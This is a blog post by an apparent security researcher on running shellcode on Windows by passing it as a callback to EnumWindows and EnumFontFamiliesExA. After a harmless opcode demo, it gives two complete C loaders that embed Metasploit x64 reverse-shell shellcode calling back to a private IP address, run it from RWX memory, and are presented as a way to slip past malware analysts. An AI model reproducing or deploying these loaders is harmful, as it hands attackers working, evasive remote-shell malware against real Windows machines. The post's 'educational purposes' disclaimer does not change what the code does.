Sitemap

Shellcode Injection Methods for Windows

5 min readJun 7, 2025

--

Press enter or click to view image in full size

There are a lot of ways to executing shellcode but most of blog shows only a few ones. Of course, I’m not gonna explain every method. My purpose is to give you a new perspective. Most of time, we used CreateThread or CreateRemoteThread APIs to execute our shellcode. Sometimes we used their native equivalents.

Actually, there are a lot of APIs that available to execute shellcode. As you can guess, the purposes of these APIs isn’t execute shellcode. They are legit tasks are very different than our intention. In this blog, I’ll show you only 2 different method to execute shellcode. Before doing that, I suppose I need to explain something.

I used C programming language to writing malware examples. We defines variables and functions in the source code. Especially, the functions are very important because they facilitate our jobs while coding. But, how does C look these functions. I mean, how does C understand our code.

As you can guess, our computers understand machine code. We extract machine op-codes from our assembled source code. Every line turns into their corresponded op-codes. So now, I think if I show that example, you would get it easily.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int dummy_func()
{
int x = 10;
int y = 20;

return x + y;
}


int main()
{
int res = dummy_func();
printf("res: %d\n",res);

return 0;
}

This is a very simple example. There is a function that only sums two different number and then returns it. We don’t really care about the result of this code. I’m gonna show you some assembly.

So, this is the dissassembly of the dummy_func. I want you to focus the opcodes. Because they are the actual thing that gonna be executed. When we call our dummy_func, every line will be executed sequentially. So now, the instruction pointer (IP) is very important for us. The instruction pointer (IP) will execute whichever opcode is next.

So let’s see these opcodes in C.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int dummy_func()
{
int x = 10;
int y = 20;

return x + y;
}


int main()
{
unsigned char *ptr = (unsigned char *)dummy_func;

// just for calculating the length of bytes of the dummy_func
size_t byte_len = main - dummy_func;

printf("opcodes: ");
for (size_t i = 0; i < byte_len; i++)
{
printf("%lx, ", ptr[i] & 0xFF);
}
putchar('\n');

return 0;
}

This is the result of this code.

Press enter or click to view image in full size

As you can see, these opcodes are same codes as in the picture above. So now, I think, I have shown you some basics about C and opcodes. We can skip to the shellcode injection part.

As I said, I’m gonna use two different windows APIs to do our malicious stuff. The first API is EnumWindows and the second one is EnumFontFamiliesExA . Those APIs take a function pointer as a parameter and that means your function pointer (which can be whatever you want) will be executed when this API called.

Get LordShen’s stories in your inbox

Join Medium for free to get updates from this writer.

This is the syntax of EnumWindows:

BOOL EnumWindows(
[in] WNDENUMPROC lpEnumFunc,
[in] LPARAM lParam
);

First parameter is our target. Now let’s use this in the C code. I’ve used metasploit’s shellcode but you can use whatever shellcode you want. So this is the first code of execution.

#include <Windows.h>
#pragma comment(lib, "gdi32.lib")

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x23\x29\xc0\xa8\x7a\x01"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
SIZE_T len = sizeof(shellcode);

int main()
{
LPVOID lpMem = VirtualAlloc(NULL, len, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
RtlMoveMemory(lpMem, shellcode, len);

EnumWindows((WNDENUMPROC)lpMem, 0);

return 0;
}

I recommend you to compile it by using cl.exe. Let’s execute it:

As you can see, I popped a shell. This was the first code and now I’ll share the second code with you. Before sharing it, you should see the syntax of EnumFontFamiliesExA function.

int EnumFontFamiliesExA(
[in] HDC hdc,
[in] LPLOGFONTA lpLogfont,
[in] FONTENUMPROCA lpProc,
[in] LPARAM lParam,
DWORD dwFlags
);

The third parameter will take a function pointer. We will abuse it. So let’s see the last code:

#include <Windows.h>

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x23\x29\xc0\xa8\x7a\x01"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
SIZE_T len = sizeof(buf);

int main()
{
LPVOID mem = VirtualAlloc(NULL, len, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, buf, len);
HDC hdc = GetDC(NULL);

LOGFONTA lf = { 0 };
lf.lfCharSet = DEFAULT_CHARSET;
lf.lfFaceName[0] = 0;
lf.lfPitchAndFamily = 0;

EnumFontFamiliesExA(hdc, &lf, (FONTENUMPROCA)mem, 0, 0);

ReleaseDC(NULL, hdc);

return 0;
}

So let’s see the result of this code:

Again it works :). I think these techniques are very useful because the malware analyst might not notice these APIs. As I said before, their intention isn’t considered execution of shellcode.

I suppose I explained some stuff normal but it might be tricky when you see these opcodes as a part of a program. I couldn’t get it at my first glance. I wouldn’t expect something like that. Sometimes it takes time to learn these things.

That’s all, hope that you understood the topic and earned a new perpective. Lastly, you can find a lot of APIs like that. You can find them by using AI or just exploring the MSDN docs.

Don’t use it in real scenarios, this is just for educational purposes.

— LordShen —

--

--

LordShen
LordShen

Written by LordShen

Reverse engineer, Security Researcher